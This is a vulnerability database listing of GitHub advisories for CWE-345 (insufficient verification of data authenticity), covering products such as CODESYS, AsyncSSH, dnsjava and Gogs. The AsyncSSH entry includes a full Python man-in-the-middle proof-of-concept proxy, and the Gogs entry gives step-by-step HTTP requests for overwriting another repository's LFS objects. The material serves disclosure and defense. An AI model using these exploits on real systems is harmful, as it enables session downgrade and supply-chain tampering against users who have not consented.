CWE-345
DiscouragedInsufficient Verification of Data Authenticity
Abstraction: Class · Status: Draft
The product does not sufficiently verify the origin or authenticity of data, in a way that causes it to accept invalid data.
939 vulnerabilities reference this CWE, most recent first.
GHSA-C86M-WFX2-QMX9
Vulnerability from github – Published: 2023-08-03 12:31 – Updated: 2024-04-04 06:30In CODESYS Development System versions from 3.5.11.20 and before 3.5.19.20 a missing integrity check might allow an unauthenticated remote attacker to manipulate the content of notifications received via HTTP by the CODESYS notification server.
{
"affected": [],
"aliases": [
"CVE-2023-3663"
],
"database_specific": {
"cwe_ids": [
"CWE-345",
"CWE-940"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2023-08-03T11:15:10Z",
"severity": "HIGH"
},
"details": "In CODESYS Development System versions from 3.5.11.20 and before 3.5.19.20 a missing integrity check might allow an unauthenticated remote attacker to manipulate the content of notifications received via HTTP by the CODESYS notification server.",
"id": "GHSA-c86m-wfx2-qmx9",
"modified": "2024-04-04T06:30:56Z",
"published": "2023-08-03T12:31:52Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2023-3663"
},
{
"type": "WEB",
"url": "https://cert.vde.com/en/advisories/VDE-2023-022"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-C8R8-GWG2-5WFH
Vulnerability from github – Published: 2022-04-22 00:00 – Updated: 2022-05-04 00:00Some Xiaomi phones have information leakage vulnerabilities, and some of them may be able to forge a specific identity due to the lack of parameter verification, resulting in user information leakage.
{
"affected": [],
"aliases": [
"CVE-2020-14122"
],
"database_specific": {
"cwe_ids": [
"CWE-345"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2022-04-21T18:15:00Z",
"severity": "MODERATE"
},
"details": "Some Xiaomi phones have information leakage vulnerabilities, and some of them may be able to forge a specific identity due to the lack of parameter verification, resulting in user information leakage.",
"id": "GHSA-c8r8-gwg2-5wfh",
"modified": "2022-05-04T00:00:38Z",
"published": "2022-04-22T00:00:35Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2020-14122"
},
{
"type": "WEB",
"url": "https://trust.mi.com/zh-CN/misrc/bulletins/advisory?cveId=147"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-C9W5-XR92-CPM7
Vulnerability from github – Published: 2024-08-08 18:31 – Updated: 2024-08-08 21:32Diebold Nixdorf Vynamic Security Suite (VSS) before 3.3.0 SR15, 4.0.0 SR05, 4.1.0 SR03, and 4.2.0 SR02 fails to validate the directory contents of certain directories (e.g., ensuring the expected hash sum) during the Pre-Boot Authorization (PBA) process. This can be exploited by a physical attacker who is able to manipulate the contents of the system's hard disk.
{
"affected": [],
"aliases": [
"CVE-2023-28865"
],
"database_specific": {
"cwe_ids": [
"CWE-345",
"CWE-353"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2024-08-08T18:15:09Z",
"severity": "MODERATE"
},
"details": "Diebold Nixdorf Vynamic Security Suite (VSS) before 3.3.0 SR15, 4.0.0 SR05, 4.1.0 SR03, and 4.2.0 SR02 fails to validate the directory contents of certain directories (e.g., ensuring the expected hash sum) during the Pre-Boot Authorization (PBA) process. This can be exploited by a physical attacker who is able to manipulate the contents of the system\u0027s hard disk.",
"id": "GHSA-c9w5-xr92-cpm7",
"modified": "2024-08-08T21:32:01Z",
"published": "2024-08-08T18:31:20Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2023-28865"
},
{
"type": "WEB",
"url": "https://media.defcon.org/DEF%20CON%2032/DEF%20CON%2032%20presentations/DEF%20CON%2032%20-%20Matt%20Burch%20-%20Where%E2%80%99s%20the%20Money%20-%20Defeating%20ATM%20Disk%20Encryption-white%20paper.pdf"
},
{
"type": "WEB",
"url": "https://www.dieboldnixdorf.com/en-us/banking/portfolio/software/security"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:P/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-CF83-H775-F5F6
Vulnerability from github – Published: 2022-05-24 17:22 – Updated: 2023-01-27 18:30Mozilla Developer Iain Ireland discovered a missing type check during unboxed objects removal, resulting in a crash. We presume that with enough effort that it could be exploited to run arbitrary code. This vulnerability affects Thunderbird < 68.9.0, Firefox < 77, and Firefox ESR < 68.9.
{
"affected": [],
"aliases": [
"CVE-2020-12406"
],
"database_specific": {
"cwe_ids": [
"CWE-345"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2020-07-09T15:15:00Z",
"severity": "HIGH"
},
"details": "Mozilla Developer Iain Ireland discovered a missing type check during unboxed objects removal, resulting in a crash. We presume that with enough effort that it could be exploited to run arbitrary code. This vulnerability affects Thunderbird \u003c 68.9.0, Firefox \u003c 77, and Firefox ESR \u003c 68.9.",
"id": "GHSA-cf83-h775-f5f6",
"modified": "2023-01-27T18:30:32Z",
"published": "2022-05-24T17:22:38Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2020-12406"
},
{
"type": "WEB",
"url": "https://bugzilla.mozilla.org/show_bug.cgi?id=1639590"
},
{
"type": "WEB",
"url": "https://usn.ubuntu.com/4421-1"
},
{
"type": "WEB",
"url": "https://www.mozilla.org/security/advisories/mfsa2020-20"
},
{
"type": "WEB",
"url": "https://www.mozilla.org/security/advisories/mfsa2020-21"
},
{
"type": "WEB",
"url": "https://www.mozilla.org/security/advisories/mfsa2020-22"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-CFC2-WR2V-GXM5
Vulnerability from github – Published: 2023-11-09 18:34 – Updated: 2025-11-04 16:46Summary
An issue in AsyncSSH v2.14.0 and earlier allows attackers to control the extension info message (RFC 8308) via a man-in-the-middle attack.
Details
The rogue extension negotiation attack targets an AsyncSSH client connecting to any SSH server sending an extension info message. The attack exploits an implementation flaw in the AsyncSSH implementation to inject an extension info message chosen by the attacker and delete the original extension info message, effectively replacing it.
A correct SSH implementation should not process an unauthenticated extension info message. However, the injected message is accepted due to flaws in AsyncSSH. AsyncSSH supports the server-sig-algs and global-requests-ok extensions. Hence, the attacker can downgrade the algorithm used for client authentication by meddling with the value of server-sig-algs (e.g. use of SHA-1 instead of SHA-2).
PoC
AsyncSSH Client 2.14.0 (simple_client.py example) connecting to AsyncSSH Server 2.14.0 (simple_server.py example) ```python #!/usr/bin/python3 import socket from threading import Thread from binascii import unhexlify ##################################################################################### ## Proof of Concept for the rogue extension negotiation attack (ChaCha20-Poly1305) ## ## ## ## Client(s) tested: AsyncSSH 2.14.0 (simple_client.py example) ## ## Server(s) tested: AsyncSSH 2.14.0 (simple_server.py example) ## ## ## ## Licensed under Apache License 2.0 http://www.apache.org/licenses/LICENSE-2.0 ## ##################################################################################### # IP and port for the TCP proxy to bind to PROXY_IP = '127.0.0.1' PROXY_PORT = 2222 # IP and port of the server SERVER_IP = '127.0.0.1' SERVER_PORT = 22 # Length of the individual messages NEW_KEYS_LENGTH = 16 SERVER_EXT_INFO_LENGTH = 676 newkeys_payload = b'\x00\x00\x00\x0c\x0a\x15' def contains_newkeys(data): return newkeys_payload in data # Empty EXT_INFO here to keep things simple, but may also contain actual extensions like server-sig-algs rogue_ext_info = unhexlify('0000000C060700000000000000000000') def insert_rogue_ext_info(data): newkeys_index = data.index(newkeys_payload) # Insert rogue extension info and remove SSH_MSG_EXT_INFO return data[:newkeys_index] + rogue_ext_info + data[newkeys_index:newkeys_index + NEW_KEYS_LENGTH] + data[newkeys_index + NEW_KEYS_LENGTH + SERVER_EXT_INFO_LENGTH:] def forward_client_to_server(client_socket, server_socket): try: while True: client_data = client_socket.recv(4096) if len(client_data) == 0: break server_socket.send(client_data) except ConnectionResetError: print("[!] Client connection has been reset. Continue closing sockets.") print("[!] forward_client_to_server thread ran out of data, closing sockets!") client_socket.close() server_socket.close() def forward_server_to_client(client_socket, server_socket): try: while True: server_data = server_socket.recv(4096) if contains_newkeys(server_data): print("[+] SSH_MSG_NEWKEYS sent by server identified!") if len(server_data) < NEW_KEYS_LENGTH + SERVER_EXT_INFO_LENGTH: print("[+] server_data does not contain all messages sent by the server yet. Receiving additional bytes until we have 692 bytes buffered!") while len(server_data) < NEW_KEYS_LENGTH + SERVER_EXT_INFO_LENGTH: server_data += server_socket.recv(4096) print(f"[d] Original server_data before modification: {server_data.hex()}") server_data = insert_rogue_ext_info(server_data) print(f"[d] Modified server_data with rogue extension info: {server_data.hex()}") if len(server_data) == 0: break client_socket.send(server_data) except ConnectionResetError: print("[!] Target connection has been reset. Continue closing sockets.") print("[!] forward_server_to_client thread ran out of data, closing sockets!") client_socket.close() server_socket.close() if __name__ == '__main__': print("--- Proof of Concept for the rogue extension negotiation attack (ChaCha20-Poly1305) ---") mitm_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM) mitm_socket.bind((PROXY_IP, PROXY_PORT)) mitm_socket.listen(5) print(f"[+] MitM Proxy started. Listening on {(PROXY_IP, PROXY_PORT)} for incoming connections...") try: while True: client_socket, client_addr = mitm_socket.accept() print(f"[+] Accepted connection from: {client_addr}") print(f"[+] Establishing new server connection to {(SERVER_IP, SERVER_PORT)}.") server_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM) server_socket.connect((SERVER_IP, SERVER_PORT)) print("[+] Spawning new forwarding threads to handle client connection.") Thread(target=forward_client_to_server, args=(client_socket, server_socket)).start() Thread(target=forward_server_to_client, args=(client_socket, server_socket)).start() except KeyboardInterrupt: client_socket.close() server_socket.close() mitm_socket.close() ```Impact
Algorithm downgrade during user authentication.
{
"affected": [
{
"package": {
"ecosystem": "PyPI",
"name": "asyncssh"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "2.14.1"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2023-46445"
],
"database_specific": {
"cwe_ids": [
"CWE-345",
"CWE-349",
"CWE-354"
],
"github_reviewed": true,
"github_reviewed_at": "2023-11-09T18:34:53Z",
"nvd_published_at": "2023-11-14T03:15:09Z",
"severity": "MODERATE"
},
"details": "### Summary\n\nAn issue in AsyncSSH v2.14.0 and earlier allows attackers to control the extension info message (RFC 8308) via a man-in-the-middle attack.\n\n### Details\n\nThe rogue extension negotiation attack targets an AsyncSSH client connecting to any SSH server sending an extension info message. The attack exploits an implementation flaw in the AsyncSSH implementation to inject an extension info message chosen by the attacker and delete the original extension info message, effectively replacing it.\n\nA correct SSH implementation should not process an unauthenticated extension info message. However, the injected message is accepted due to flaws in AsyncSSH. AsyncSSH supports the server-sig-algs and global-requests-ok extensions. Hence, the attacker can downgrade the algorithm used for client authentication by meddling with the value of server-sig-algs (e.g. use of SHA-1 instead of SHA-2).\n\n### PoC\n\n\u003cdetails\u003e\n \u003csummary\u003eAsyncSSH Client 2.14.0 (simple_client.py example) connecting to AsyncSSH Server 2.14.0 (simple_server.py example)\u003c/summary\u003e\n\n ```python\n #!/usr/bin/python3\n import socket\n from threading import Thread\n from binascii import unhexlify\n \n #####################################################################################\n ## Proof of Concept for the rogue extension negotiation attack (ChaCha20-Poly1305) ##\n ## ##\n ## Client(s) tested: AsyncSSH 2.14.0 (simple_client.py example) ##\n ## Server(s) tested: AsyncSSH 2.14.0 (simple_server.py example) ##\n ## ##\n ## Licensed under Apache License 2.0 http://www.apache.org/licenses/LICENSE-2.0 ##\n #####################################################################################\n \n # IP and port for the TCP proxy to bind to\n PROXY_IP = \u0027127.0.0.1\u0027\n PROXY_PORT = 2222\n \n # IP and port of the server\n SERVER_IP = \u0027127.0.0.1\u0027\n SERVER_PORT = 22\n \n # Length of the individual messages\n NEW_KEYS_LENGTH = 16\n SERVER_EXT_INFO_LENGTH = 676\n \n newkeys_payload = b\u0027\\x00\\x00\\x00\\x0c\\x0a\\x15\u0027\n def contains_newkeys(data):\n return newkeys_payload in data\n \n # Empty EXT_INFO here to keep things simple, but may also contain actual extensions like server-sig-algs\n rogue_ext_info = unhexlify(\u00270000000C060700000000000000000000\u0027)\n def insert_rogue_ext_info(data):\n newkeys_index = data.index(newkeys_payload)\n # Insert rogue extension info and remove SSH_MSG_EXT_INFO\n return data[:newkeys_index] + rogue_ext_info + data[newkeys_index:newkeys_index + NEW_KEYS_LENGTH] + data[newkeys_index + NEW_KEYS_LENGTH + SERVER_EXT_INFO_LENGTH:]\n \n def forward_client_to_server(client_socket, server_socket):\n try:\n while True:\n client_data = client_socket.recv(4096)\n if len(client_data) == 0:\n break\n server_socket.send(client_data)\n except ConnectionResetError:\n print(\"[!] Client connection has been reset. Continue closing sockets.\")\n print(\"[!] forward_client_to_server thread ran out of data, closing sockets!\")\n client_socket.close()\n server_socket.close()\n \n def forward_server_to_client(client_socket, server_socket):\n try:\n while True:\n server_data = server_socket.recv(4096)\n if contains_newkeys(server_data):\n print(\"[+] SSH_MSG_NEWKEYS sent by server identified!\")\n if len(server_data) \u003c NEW_KEYS_LENGTH + SERVER_EXT_INFO_LENGTH:\n print(\"[+] server_data does not contain all messages sent by the server yet. Receiving additional bytes until we have 692 bytes buffered!\")\n while len(server_data) \u003c NEW_KEYS_LENGTH + SERVER_EXT_INFO_LENGTH:\n server_data += server_socket.recv(4096)\n print(f\"[d] Original server_data before modification: {server_data.hex()}\")\n server_data = insert_rogue_ext_info(server_data)\n print(f\"[d] Modified server_data with rogue extension info: {server_data.hex()}\")\n if len(server_data) == 0:\n break\n client_socket.send(server_data)\n except ConnectionResetError:\n print(\"[!] Target connection has been reset. Continue closing sockets.\")\n print(\"[!] forward_server_to_client thread ran out of data, closing sockets!\")\n client_socket.close()\n server_socket.close()\n \n if __name__ == \u0027__main__\u0027:\n print(\"--- Proof of Concept for the rogue extension negotiation attack (ChaCha20-Poly1305) ---\")\n mitm_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\n mitm_socket.bind((PROXY_IP, PROXY_PORT))\n mitm_socket.listen(5)\n \n print(f\"[+] MitM Proxy started. Listening on {(PROXY_IP, PROXY_PORT)} for incoming connections...\")\n \n try:\n while True:\n client_socket, client_addr = mitm_socket.accept()\n print(f\"[+] Accepted connection from: {client_addr}\")\n print(f\"[+] Establishing new server connection to {(SERVER_IP, SERVER_PORT)}.\")\n server_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\n server_socket.connect((SERVER_IP, SERVER_PORT))\n print(\"[+] Spawning new forwarding threads to handle client connection.\")\n Thread(target=forward_client_to_server, args=(client_socket, server_socket)).start()\n Thread(target=forward_server_to_client, args=(client_socket, server_socket)).start()\n except KeyboardInterrupt:\n client_socket.close()\n server_socket.close()\n mitm_socket.close()\n ```\n\u003c/details\u003e\n\n### Impact\n\nAlgorithm downgrade during user authentication.",
"id": "GHSA-cfc2-wr2v-gxm5",
"modified": "2025-11-04T16:46:51Z",
"published": "2023-11-09T18:34:53Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/ronf/asyncssh/security/advisories/GHSA-cfc2-wr2v-gxm5"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2023-46445"
},
{
"type": "WEB",
"url": "https://github.com/ronf/asyncssh/commit/83e43f5ea3470a8617fc388c72b062c7136efd7e"
},
{
"type": "ADVISORY",
"url": "https://github.com/advisories/GHSA-cfc2-wr2v-gxm5"
},
{
"type": "WEB",
"url": "https://github.com/pypa/advisory-database/tree/main/vulns/asyncssh/PYSEC-2023-237.yaml"
},
{
"type": "PACKAGE",
"url": "https://github.com/ronf/asyncssh"
},
{
"type": "WEB",
"url": "https://github.com/ronf/asyncssh/blob/develop/docs/changes.rst"
},
{
"type": "WEB",
"url": "https://lists.debian.org/debian-lts-announce/2024/09/msg00042.html"
},
{
"type": "WEB",
"url": "https://lists.fedoraproject.org/archives/list/package-announce%40lists.fedoraproject.org/message/ME34ROZWMDK5KLMZKTSA422XVJZ7IMTE"
},
{
"type": "WEB",
"url": "https://security.netapp.com/advisory/ntap-20231222-0001"
},
{
"type": "WEB",
"url": "https://www.terrapin-attack.com"
},
{
"type": "WEB",
"url": "http://packetstormsecurity.com/files/176280/Terrapin-SSH-Connection-Weakening.html"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N",
"type": "CVSS_V3"
}
],
"summary": "AsyncSSH Rogue Extension Negotiation"
}
GHSA-CFCV-RGX7-FW5J
Vulnerability from github – Published: 2023-01-11 09:30 – Updated: 2023-01-19 00:30Insufficient checks in SEV may lead to a malicious hypervisor disclosing the launch secret potentially resulting in compromise of VM confidentiality.
{
"affected": [],
"aliases": [
"CVE-2021-26403"
],
"database_specific": {
"cwe_ids": [
"CWE-345"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2023-01-11T08:15:00Z",
"severity": "MODERATE"
},
"details": "Insufficient checks in SEV may lead to a malicious hypervisor disclosing the launch secret potentially resulting in compromise of VM confidentiality.",
"id": "GHSA-cfcv-rgx7-fw5j",
"modified": "2023-01-19T00:30:31Z",
"published": "2023-01-11T09:30:30Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2021-26403"
},
{
"type": "WEB",
"url": "https://www.amd.com/en/corporate/product-security/bulletin/AMD-SB-1032"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-CFXW-4H78-H7FW
Vulnerability from github – Published: 2024-07-22 14:33 – Updated: 2024-09-04 14:24Summary
Records in DNS replies are not checked for their relevance to the query, allowing an attacker to respond with RRs from different zones.
Details
DNS Messages are not authenticated. They do not guarantee that
- received RRs are authentic
- not received RRs do not exist
- all or any received records in a response relate to the request
Applications utilizing DNSSEC generally expect these guarantees to be met, however DNSSEC by itself only guarantees the first two. To meet the third guarantee, resolvers generally follow an (undocumented, as far as RFCs go) algorithm such as: (simplified, e.g. lacks DNSSEC validation!)
- denote by
QNAMEthe name you are querying (e.g. fraunhofer.de.), and initialize a list of aliases - if the ANSWER section contains a valid PTR RRSet for
QNAME, return it (and optionally return the list of aliases as well) - if the ANSWER section contains a valid CNAME RRSet for
QNAME, add it to the list of aliases. SetQNAMEto the CNAME's target and go to 2. - Verify that
QNAMEdoes not have any PTR, CNAME and DNAME records using valid NSEC or NSEC3 records. Returnnull.
Note that this algorithm relies on NSEC records and thus requires a considerable portion of the DNSSEC specifications to be implemented. For this reason, it cannot be performed by a DNS client (aka application) and is typically performed as part of the resolver logic.
dnsjava does not implement a comparable algorithm, and the provided APIs instead return either
- the received DNS message itself (e.g. when using a ValidatingResolver such as in this example), or
- essentially just the contents of its ANSWER section (e.g. when using a LookupSession such as in this example)
If applications blindly filter the received results for RRs of the desired record type (as seems to be typical usage for dnsjava), a rogue recursive resolver or (on UDP/TCP connections) a network attacker can
- In addition to the actual DNS response, add RRs irrelevant to the query but of the right datatype, e.g. from another zone, as long as that zone is correctly using DNSSEC, or
- completely exchange the relevant response records
Impact
DNS(SEC) libraries are usually used as part of a larger security framework. Therefore, the main misuses of this vulnerability concern application code, which might take the returned records as authentic answers to the request. Here are three concrete examples of where this might be detrimental:
- RFC 6186 specifies that to connect to an IMAP server for a user, a mail user agent should retrieve certain SRV records and send the user's credentials to the specified servers. Exchanging the SRV records can be a tool to redirect the credentials.
- When delivering mail via SMTP, MX records determine where to deliver the mails to. Exchanging the MX records might lead to information disclosure. Additionally, an exchange of TLSA records might allow attackers to intercept TLS traffic.
- Some research projects like LIGHTest are trying to manage CA trust stores via URI and SMIMEA records in the DNS. Exchanging these allows manipulating the root of trust for dependent applications.
Mitigations
At this point, the following mitigations are recommended:
- When using a ValidatingResolver, ignore any Server indications of whether or not data was available (e.g. NXDOMAIN, NODATA, ...).
- For APIs returning RRs from DNS responses, filter the RRs using an algorithm such as the one above. This includes e.g.
LookupSession.lookupAsync. - Remove APIs dealing with raw DNS messages from the examples section or place a noticable warning above.
{
"affected": [
{
"package": {
"ecosystem": "Maven",
"name": "dnsjava:dnsjava"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "3.6.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2024-25638"
],
"database_specific": {
"cwe_ids": [
"CWE-345",
"CWE-349"
],
"github_reviewed": true,
"github_reviewed_at": "2024-07-22T14:33:41Z",
"nvd_published_at": "2024-07-22T14:15:04Z",
"severity": "HIGH"
},
"details": "### Summary\n\nRecords in DNS replies are not checked for their relevance to the query, allowing an attacker to respond with RRs from different zones.\n\n### Details\n\nDNS Messages are not authenticated. They do not guarantee that\n\n- received RRs are authentic\n- not received RRs do not exist\n- all or any received records in a response relate to the request\n\nApplications utilizing DNSSEC generally expect these guarantees to be met, however DNSSEC by itself only guarantees the first two.\nTo meet the third guarantee, resolvers generally follow an (undocumented, as far as RFCs go) algorithm such as: (simplified, e.g. lacks DNSSEC validation!)\n\n1. denote by `QNAME` the name you are querying (e.g. fraunhofer.de.), and initialize a list of aliases\n2. if the ANSWER section contains a valid PTR RRSet for `QNAME`, return it (and optionally return the list of aliases as well)\n3. if the ANSWER section contains a valid CNAME RRSet for `QNAME`, add it to the list of aliases. Set `QNAME` to the CNAME\u0027s target and go to 2.\n4. Verify that `QNAME` does not have any PTR, CNAME and DNAME records using valid NSEC or NSEC3 records. Return `null`.\n\nNote that this algorithm relies on NSEC records and thus requires a considerable portion of the DNSSEC specifications to be implemented. For this reason, it cannot be performed by a DNS client (aka application) and is typically performed as part of the resolver logic.\n\ndnsjava does not implement a comparable algorithm, and the provided APIs instead return either\n\n- the received DNS message itself (e.g. when using a ValidatingResolver such as in [this](https://github.com/dnsjava/dnsjava/blob/master/EXAMPLES.md#dnssec-resolver) example), or\n- essentially just the contents of its ANSWER section (e.g. when using a LookupSession such as in [this](https://github.com/dnsjava/dnsjava/blob/master/EXAMPLES.md#simple-lookup-with-a-resolver) example)\n\nIf applications blindly filter the received results for RRs of the desired record type (as seems to be typical usage for dnsjava), a rogue recursive resolver or (on UDP/TCP connections) a network attacker can\n\n- In addition to the actual DNS response, add RRs irrelevant to the query but of the right datatype, e.g. from another zone, as long as that zone is correctly using DNSSEC, or\n- completely exchange the relevant response records\n\n### Impact\n\nDNS(SEC) libraries are usually used as part of a larger security framework.\nTherefore, the main misuses of this vulnerability concern application code, which might take the returned records as authentic answers to the request.\nHere are three concrete examples of where this might be detrimental:\n\n- [RFC 6186](https://datatracker.ietf.org/doc/html/rfc6186) specifies that to connect to an IMAP server for a user, a mail user agent should retrieve certain SRV records and send the user\u0027s credentials to the specified servers. Exchanging the SRV records can be a tool to redirect the credentials.\n- When delivering mail via SMTP, MX records determine where to deliver the mails to. Exchanging the MX records might lead to information disclosure. Additionally, an exchange of TLSA records might allow attackers to intercept TLS traffic.\n- Some research projects like [LIGHTest](https://www.lightest.eu/) are trying to manage CA trust stores via URI and SMIMEA records in the DNS. Exchanging these allows manipulating the root of trust for dependent applications.\n\n### Mitigations\n\nAt this point, the following mitigations are recommended:\n\n- When using a ValidatingResolver, ignore any Server indications of whether or not data was available (e.g. NXDOMAIN, NODATA, ...).\n- For APIs returning RRs from DNS responses, filter the RRs using an algorithm such as the one above. This includes e.g. `LookupSession.lookupAsync`.\n- Remove APIs dealing with raw DNS messages from the examples section or place a noticable warning above.",
"id": "GHSA-cfxw-4h78-h7fw",
"modified": "2024-09-04T14:24:15Z",
"published": "2024-07-22T14:33:41Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/dnsjava/dnsjava/security/advisories/GHSA-cfxw-4h78-h7fw"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-25638"
},
{
"type": "WEB",
"url": "https://github.com/dnsjava/dnsjava/commit/2073a0cdea2c560465f7ac0cc56f202e6fc39705"
},
{
"type": "PACKAGE",
"url": "https://github.com/dnsjava/dnsjava"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:C/C:H/I:H/A:L",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:N/SC:H/SI:H/SA:L",
"type": "CVSS_V4"
}
],
"summary": "DNSJava DNSSEC Bypass"
}
GHSA-CJ4V-437J-JQ4C
Vulnerability from github – Published: 2026-03-05 19:14 – Updated: 2026-03-05 22:28Summary
Overwritable LFS object across different repos leads to supply-chain attack, all LFS objects are vulnerable to be maliciously overwritten by malicious attackers.
Details
Gogs store all LFS objects in the same place, no isolation between different repositories. (repo id not concatenated to storage path) https://github.com/gogs/gogs/blob/7a2dffa95ac64f31c8322cb50d32694b05610144/internal/lfsutil/storage.go#L52-L58
Gogs does not verify uploaded LFS file content against its claimed SHA-256, meaning attackers can manipulate the uploaded file like injecting backdoor. https://github.com/gogs/gogs/blob/7a2dffa95ac64f31c8322cb50d32694b05610144/internal/lfsutil/storage.go#L79-L89
Here's the comment that trust client to retry upload allowing them to overwrite. However, this assumption does not hold in the case of a malicious client. https://github.com/gogs/gogs/blob/7a2dffa95ac64f31c8322cb50d32694b05610144/internal/route/lfs/basic.go#L111-L113
PoC
# ./gogs -v
Gogs version 0.13.0
1. User (admin1) upload a LFS object into their repository admin1/testlfs.git normally
POST http://172.29.121.170/admin1/testlfs.git/info/lfs/objects/batch
User-Agent: git-lfs/3.0.2 (GitHub; linux amd64; go 1.17.2)
Accept-Encoding: gzip, deflate, br
Accept: application/vnd.git-lfs+json
Connection: keep-alive
Content-Type: application/vnd.git-lfs+json
Authorization: Basic YWRtaW4xOjg2ZjgxMmNkNDBiODY1YmIzZGQ1NTgyNDI2OTE2M2FmNDM3ZGZjZWI=
Content-Length: 168
{"operation": "upload", "objects": [{"oid": "5f8c5042d51400e9e2e9bed01353edacf72edc88340038145229cd494b5fe08a", "size": 1048576}], "ref": {"name": "refs/heads/master"}}
response: <Response [200]>
Connection: close
Content-Length: 438
Content-Type: application/vnd.git-lfs+json
Date: Thu, 28 Nov 2024 13:57:47 GMT
Set-Cookie: lang=en-US; Path=/; Max-Age=2147483647
{'objects': [{'actions': {'upload': {'header': {'Content-Type': 'application/octet-stream'},
'href': 'http://172.29.121.170:3000/admin1/testlfs.git/info/lfs/objects/basic/5f8c5042d51400e9e2e9bed01353edacf72edc88340038145229cd494b5fe08a'},
'verify': {'href': 'http://172.29.121.170:3000/admin1/testlfs.git/info/lfs/objects/basic/verify'}},
'oid': '5f8c5042d51400e9e2e9bed01353edacf72edc88340038145229cd494b5fe08a',
'size': 1048576}],
'transfer': 'basic'}
[STEP3] file_upload PUT http://172.29.121.170:3000/admin1/testlfs.git/info/lfs/objects/basic/5f8c5042d51400e9e2e9bed01353edacf72edc88340038145229cd494b5fe08a
headers: {'Content-Type': 'application/octet-stream', 'Accept': 'application/vnd.git-lfs+json', 'Authorization': 'Basic YWRtaW4xOjg2ZjgxMmNkNDBiODY1YmIzZGQ1NTgyNDI2OTE2M2FmNDM3ZGZjZWI='}
response: <Response [200]>
[verify POST] http://172.29.121.170:3000/admin1/testlfs.git/info/lfs/objects/basic/verify
POST http://172.29.121.170:3000/admin1/testlfs.git/info/lfs/objects/basic/verify
User-Agent: git-lfs/3.0.2 (GitHub; linux amd64; go 1.17.2)
Accept-Encoding: gzip, deflate, br
Accept: application/vnd.git-lfs+json
Connection: keep-alive
Content-Type: application/vnd.git-lfs+json
Authorization: Basic YWRtaW4xOjg2ZjgxMmNkNDBiODY1YmIzZGQ1NTgyNDI2OTE2M2FmNDM3ZGZjZWI=
Cookie: lang=en-US
Content-Length: 92
{"oid": "5f8c5042d51400e9e2e9bed01353edacf72edc88340038145229cd494b5fe08a", "size": 1048576}
response: <Response [200]>
Connection: close
Content-Length: 0
Date: Thu, 28 Nov 2024 13:57:47 GMT
In this step, upload a LFS object 5f8c5042d51400e9e2e9bed01353edacf72edc88340038145229cd494b5fe08a
2. Attacker user2 overwrite this file by uploading manipulated content to their repo user2/public.git
PUT http://172.29.121.170:3000/user2/public.git/info/lfs/objects/basic/5f8c5042d51400e9e2e9bed01353edacf72edc88340038145229cd494b5fe08a
Content-Type: application/octet-stream
Accept: application/vnd.git-lfs+json
Authorization: Basic dXNlcjI6NTRmZGU5ZmI3YjdmOTQ0MmM3MzY4ODhlMWIyNjZmMWE4MzAyMzE5NQ==
response: <Response [200]>
3. Verify the content has been overwritten:
# curl http://172.29.121.170:3000/admin1/testlfs.git/info/lfs/objects/basic/5f8c5042d51400e9e2e9bed01353edacf72edc88340038145229cd494b5fe08a -H "Authorization: Basic YWRtaW4xOjg2ZjgxMmNkNDBiODY1YmIzZGQ1NTgyNDI2OTE2M2FmNDM3ZGZjZWI=" -i
HTTP/1.1 200 OK
Content-Length: 1048576
Connection: keep-alive
Content-Type: application/octet-stream
Date: Thu, 28 Nov 2024 14:01:53 GMT
Keep-Alive: timeout=4
Proxy-Connection: keep-alive
Set-Cookie: lang=en-US; Path=/; Max-Age=2147483647
curl: (18) transfer closed with 1048563 bytes remaining to read
2222 replaced
Impact
